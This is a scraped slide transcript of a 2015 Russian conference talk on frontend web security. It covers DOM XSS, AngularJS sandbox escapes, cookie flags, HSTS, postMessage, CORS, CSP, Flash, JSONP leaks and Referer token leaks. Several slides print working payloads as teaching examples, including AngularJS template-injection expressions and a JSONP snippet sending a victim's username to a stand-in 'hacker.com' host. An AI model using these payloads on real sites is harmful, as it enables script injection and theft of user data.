Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

(Не)безопасный frontend

45,902 views

Published on

Презентация с доклада http://frontendconf.ru/2015/abstracts/1769

Published in: Technology
  • Be the first to comment

(Не)безопасный frontend

  1. 1. (Не)безопасный frontend Сергей Белов аудитор ИБ Digital Security
  2. 2. # whoami © 2002—2015, Digital Security 2 (Не)безопасный frontend Work/Activity BugHuting Speaker
  3. 3. О чём разговор? © 2002—2015, Digital Security 3 (Не)безопасный frontend SOP Same Origin Policy scheme://domain:port + усиление безопасности
  4. 4. Межсайтовый скриптинг © 2002—2015, Digital Security 4 (Не)безопасный frontend Межсайтовый скриптинг
  5. 5. Межсайтовый скриптинг © 2002—2015, Digital Security 5 (Не)безопасный frontend Межсайтовый скриптинг (XSS)  Хранимые (server side)  Отраженные (server side)  DOM (client side!)
  6. 6. Межсайтовый скриптинг © 2002—2015, Digital Security 6 (Не)безопасный frontend document.write("Site is at: " + document.location.href); http://victim.com/action#<script>alert('xss')</script>
  7. 7. Межсайтовый скриптинг © 2002—2015, Digital Security 7 (Не)безопасный frontend Sources  document.URL  location  document.referrer  window.name  localStorage  cookies  …
  8. 8. Межсайтовый скриптинг © 2002—2015, Digital Security 8 (Не)безопасный frontend Sinks  eval  document.write  (element).innerHTML  (element).src  setTimeout / setInterval  execScript  … https://code.google.com/p/domxsswiki/ http://habrahabr.ru/company/xakep/blog/189210/
  9. 9. Межсайтовый скриптинг © 2002—2015, Digital Security 9 (Не)безопасный frontend
  10. 10. Утечки информации © 2002—2015, Digital Security 10 (Не)безопасный frontend Утечки информации
  11. 11. © 2002—2015, Digital Security 11 (Не)безопасный frontend testServer = host.match(/[^.]+.((?:f|my.XXX)d*).YYY.ru/) devServer = host.match(/^.+.dev.YYY.ru$/), isXXX = testServer && testServer[1].indexOf('my.XXX') == 0, ... internalDevHOST = '172.16.22.2'; internalProdHOST = '172.16.22.5'; ... file:///applications/releases.../sidebar.scss Утечки информации
  12. 12. MVC фреймворки © 2002—2015, Digital Security 12 (Не)безопасный frontend MVC фреймворки
  13. 13. MVC фреймворки © 2002—2015, Digital Security 13 (Не)безопасный frontend
  14. 14. MVC фреймворки © 2002—2015, Digital Security 14 (Не)безопасный frontend Фреймворки помогают расширить работу с DOM - Шаблонизаторы - Новые элементы <rockyou></rockyou> - Биндинги
  15. 15. MVC фреймворки © 2002—2015, Digital Security 15 (Не)безопасный frontend Logic-less templates <ul> <li ng-repeat="phone in phones"> <span>{{phone.name}}</span> <p>{{phone.snippet}}</p> </li> </ul>
  16. 16. MVC фреймворки © 2002—2015, Digital Security 16 (Не)безопасный frontend Фигурные скобки <ul> <li ng-repeat="phone in phones"> <span>{{phone.name}}</span> <p>{{phone.snippet}}</p> </li> </ul>
  17. 17. MVC фреймворки © 2002—2015, Digital Security 17 (Не)безопасный frontend Logic-less templates. http://mustache.github.io/
  18. 18. JSMVC фреймворки © 2002—2015, Digital Security 18 (Не)безопасный frontend
  19. 19. MVC фреймворки © 2002—2015, Digital Security 19 (Не)безопасный frontend •VueJS •AngularJS •CanJS •Underscore.js •KnockoutJS •Ember.js •Polymer •Ractive.js •jQuery •JsRender •Kendo UI Mustache Security https://code.google.com/p/mustache-security/
  20. 20. MVC фреймворки © 2002—2015, Digital Security 20 (Не)безопасный frontend Mustache Security AngularJS (1.1.5) – Межсайтовый скриптинг <div class="ng-app"> {{constructor.constructor('alert(1)')()}} </div>
  21. 21. MVC фреймворки © 2002—2015, Digital Security 21 (Не)безопасный frontend Mustache Security AngularJS (1.2.18) – Межсайтовый скриптинг, после фиксов {{ (_=''.sub).call.call({}[$='constructor'] .getOwnPropertyDescriptor(_.__proto__,$) .value,0,'alert(1)')() }}
  22. 22. MVC фреймворки © 2002—2015, Digital Security 22 (Не)безопасный frontend Обновление фрейморков важно для безопасности!
  23. 23. Cookies © 2002—2015, Digital Security 23 (Не)безопасный frontend Cookies
  24. 24. Cookies © 2002—2015, Digital Security 24 (Не)безопасный frontend Обычно <?php setcookie('foo','bar1'); ?> import Cookie C = Cookie.SimpleCookie() C["foo"] = "bar" print C Set-Cookie: foo=bar
  25. 25. Cookies © 2002—2015, Digital Security 25 (Не)безопасный frontend Правильно: 1) Указывать домен для установки cookies 2) HttpOnly для сессионных значений (phpsessid…) 3) Secure в случае “HTTPS only”
  26. 26. Переход на HTTPS © 2002—2015, Digital Security 26 (Не)безопасный frontend Переход на HTTPS
  27. 27. Переход на HTTPS © 2002—2015, Digital Security 27 (Не)безопасный frontend Server side: • Выбор сертификата • Настройка вебсервера (ciphersuite и т.п.) • Перенаправление
  28. 28. Переход на HTTPS © 2002—2015, Digital Security 28 (Не)безопасный frontend Client side • Запрещаем заходить по HTTP – HSTS Strict-Transport-Security: max-age=31536000; • Добавляем свой ресурс в HSTS preload list http://www.chromium.org/hsts
  29. 29. Безопасность HTML5 © 2002—2015, Digital Security 29 (Не)безопасный frontend Безопасность HTML5
  30. 30. Безопасность HTML5 © 2002—2015, Digital Security 30 (Не)безопасный frontend otherWindow.postMessage(message, targetOrigin); Window.postMessage() window.addEventListener("message", receiveMessage, false); function receiveMessage(event) { if (event.origin !== "http://example.org:8080") return; // ... } Домен A Домен B
  31. 31. Безопасность HTML5 © 2002—2015, Digital Security 31 (Не)безопасный frontend Window.postMessage() if(message.orgin.indexOf(".example.com")!=-1) { /* ... */ } Неправильно! example.com.attacker.com
  32. 32. Безопасность HTML5 © 2002—2015, Digital Security 32 (Не)безопасный frontend HTTP access control (CORS) 1) Модно 2) Безопасно 3) Накосячить очень сложно 
  33. 33. Безопасность HTML5 © 2002—2015, Digital Security 33 (Не)безопасный frontend Cross-origin resource sharing (CORS) В ответе веб-сервера: Access-Control-Allow-Origin: * Означает отдавать контент всем
  34. 34. Безопасность HTML5 © 2002—2015, Digital Security 34 (Не)безопасный frontend Cross-origin resource sharing (CORS) В ответе веб-сервера: Access-Control-Allow-Origin: * Означает отдавать контент всем Но это правило несовместимо с заголовком Access-Control-Allow-Credentials: true
  35. 35. Безопасность HTML5 © 2002—2015, Digital Security 35 (Не)безопасный frontend Web Sockets 1) Нет авторизации 2) WSS:// для важных данных 3) Валидацию никто не отменял (сервер/клиент) 4) Проверка Origin (не отменяет п. 1) 5) … https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet
  36. 36. Безопасность HTML5 © 2002—2015, Digital Security 36 (Не)безопасный frontend Content Security Policy Указывает браузеру доверенные домены для различных ресурсов (картинки, js, css...) X-Content-Security-Policy: script-src js.example.com
  37. 37. Безопасность HTML5 © 2002—2015, Digital Security 37 (Не)безопасный frontend
  38. 38. Безопасность HTML5 © 2002—2015, Digital Security 38 (Не)безопасный frontend Обход 1) Возможность загружать файлы на разрешенные домены в CSP (приложения в почте, сообщениях) 2) Загрузить js файл и подключить
  39. 39. Flash © 2002—2015, Digital Security 39 (Не)безопасный frontend Flash
  40. 40. Flash © 2002—2015, Digital Security 40 (Не)безопасный frontend Магический crossdomain.xml Самый частый случай
  41. 41. Flash © 2002—2015, Digital Security 41 (Не)безопасный frontend Магический crossdomain.xml Чуть реже • Множество доменов, в т.ч. от старых названий и проектов (wamba.com bugbounty – 3000 рублей) • Разрешены домены для приложений из соц. сетей
  42. 42. Flash © 2002—2015, Digital Security 42 (Не)безопасный frontend XSS через Flash - пример с getURL Уязвимый код getURL(_root.URI,'_targetFrame'); Пример эксплуатации http://victim/file.swf?URI=javascript:evilcode getURL('javascript:evilcode','_self'); Больше про Cross Site Flashing на OWASP
  43. 43. Flash © 2002—2015, Digital Security 43 (Не)безопасный frontend CVE-2011-2461 IS BACK! 1) SWF должен быть собран с уязвимой версией Adobe Flex 2) Дает полный обход SOP
  44. 44. Flash © 2002—2015, Digital Security 44 (Не)безопасный frontend CVE-2011-2461 IS BACK! Для проверки можно использовать ParrotNG https://github.com/ikkisoft/ParrotNG/ java -jar parrotng_v0.2.jar <SWF File | Directory> Больше информации • http://blog.nibblesec.org/2015/03/the-old-is-new-again-cve-2011-2461-is.html • http://www.slideshare.net/ikkisoft/the-old-is-new-again-cve20112461-is-back
  45. 45. Раскрытие информации через JSONP © 2002—2015, Digital Security 45 (Не)безопасный frontend Раскрытие информации через JSONP
  46. 46. Раскрытие информации через JSONP © 2002—2015, Digital Security 46 (Не)безопасный frontend
  47. 47. JSONP leaks © 2002—2015, Digital Security 47 (Не)безопасный frontend
  48. 48. JSONP leaks © 2002—2015, Digital Security 48 (Не)безопасный frontend http://habrahabr.ru/post/186160/ <script> function func(obj) { var url = "http://hacker.com/log?val="+obj['username']; $.get(url); } </script> <script src="http://victim.com/api/getUserInfo?callback=func"> </script>
  49. 49. X-Frame-Options © 2002—2015, Digital Security 49 (Не)безопасный frontend X-Frame-Options
  50. 50. X-Frame-Options © 2002—2015, Digital Security 50 (Не)безопасный frontend X-Frame-Options в ответе веб-сервера позволяет 1) Полностью запретить показ страницы во фрейме 2) Частично запретить (например, разрешить только для того же origin)
  51. 51. X-Frame-Options © 2002—2015, Digital Security 51 (Не)безопасный frontend
  52. 52. Extensions / SmartTV © 2002—2015, Digital Security 52 (Не)безопасный frontend Extensions / SmartTV
  53. 53. Extensions / SmartTV © 2002—2015, Digital Security 53 (Не)безопасный frontend Расширения для браузера? -JS/HTML/CSS - Взаимодействие с DOM - Неограниченные XHR запросы - Расширенное API Приложения для SmartTV – тоже самое.
  54. 54. Extensions / SmartTV © 2002—2015, Digital Security 54 (Не)безопасный frontend
  55. 55. Extensions / SmartTV © 2002—2015, Digital Security 55 (Не)безопасный frontend Видео
  56. 56. © 2002—2015, Digital Security 56 (Не)безопасный frontend На десерт
  57. 57. © 2002—2015, Digital Security 57 (Не)безопасный frontend <a href=“http://external.com”>Go!</a> В заголовках будет Referer: http://yoursite.com/ А что в случае с изображениями, стилями, JS файлами?
  58. 58. © 2002—2015, Digital Security 58 (Не)безопасный frontend http://super-website.com/user/passRecovery?t=SECRET ... <img src=http://comics.com/password.jpg> ... Владелец comics.com Знает все секретные токены (для сброса пароля!)
  59. 59. twitter.com/sergeybelove sbelov@dsec.ru © 2002—2015, Digital Security Digital Security в Москве: (495) 223-07-86 Digital Security в Санкт-Петербурге: (812) 703-15-47 59 Тестируйте безопасность!

×